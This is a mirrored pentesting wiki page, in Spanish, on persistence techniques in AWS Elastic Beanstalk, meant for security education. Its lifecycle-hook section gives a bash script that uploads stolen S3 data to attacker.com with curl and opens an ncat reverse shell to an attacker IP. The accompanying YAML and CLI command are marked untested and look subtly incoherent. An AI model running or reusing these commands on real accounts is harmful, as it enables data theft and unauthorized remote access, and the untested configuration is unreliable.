mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-17 07:11:47 -08:00
76 lines
2.8 KiB
Markdown
76 lines
2.8 KiB
Markdown
# AWS - Elastic Beanstalk Persistence
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Elastic Beanstalk
|
|
|
|
Para más información, consulta:
|
|
|
|
{{#ref}}
|
|
../aws-services/aws-elastic-beanstalk-enum.md
|
|
{{#endref}}
|
|
|
|
### Persistencia en la Instancia
|
|
|
|
Con el fin de mantener la persistencia dentro de la cuenta de AWS, se podría **introducir algún mecanismo de persistencia dentro de la instancia** (tarea programada, clave ssh...) para que el atacante pueda acceder a ella y robar las **credenciales del rol IAM desde el servicio de metadatos**.
|
|
|
|
### Puerta trasera en la Versión
|
|
|
|
Un atacante podría insertar una puerta trasera en el código dentro del repositorio S3 para que siempre ejecute su puerta trasera y el código esperado.
|
|
|
|
### Nueva versión con puerta trasera
|
|
|
|
En lugar de cambiar el código en la versión actual, el atacante podría desplegar una nueva versión de la aplicación con puerta trasera.
|
|
|
|
### Abusando de los Ganchos del Ciclo de Vida de Recursos Personalizados
|
|
|
|
> [!NOTE]
|
|
> TODO: Test
|
|
|
|
Elastic Beanstalk proporciona ganchos de ciclo de vida que te permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría **configurar un gancho de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene el acceso a la cuenta de AWS**.
|
|
```bash
|
|
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
|
echo '#!/bin/bash
|
|
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
|
gzip /tmp/data.csv
|
|
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
|
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
|
|
|
# Attacker uploads the script to an S3 bucket
|
|
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
|
|
|
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
|
echo 'Resources:
|
|
AWSEBAutoScalingGroup:
|
|
Metadata:
|
|
AWS::ElasticBeanstalk::Ext:
|
|
TriggerConfiguration:
|
|
triggers:
|
|
- name: stealthy-lifecycle-hook
|
|
events:
|
|
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
|
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
|
target:
|
|
ref: "AWS::ElasticBeanstalk::Environment"
|
|
arn:
|
|
Fn::GetAtt:
|
|
- "AWS::ElasticBeanstalk::Environment"
|
|
- "Arn"
|
|
stealthyLifecycleHook:
|
|
Type: AWS::AutoScaling::LifecycleHook
|
|
Properties:
|
|
AutoScalingGroupName:
|
|
Ref: AWSEBAutoScalingGroup
|
|
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
|
NotificationTargetARN:
|
|
Ref: stealthy-lifecycle-hook
|
|
RoleARN:
|
|
Fn::GetAtt:
|
|
- AWSEBAutoScalingGroup
|
|
- Arn' > stealthy_lifecycle_hook.yaml
|
|
|
|
# Attacker applies the new environment configuration
|
|
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|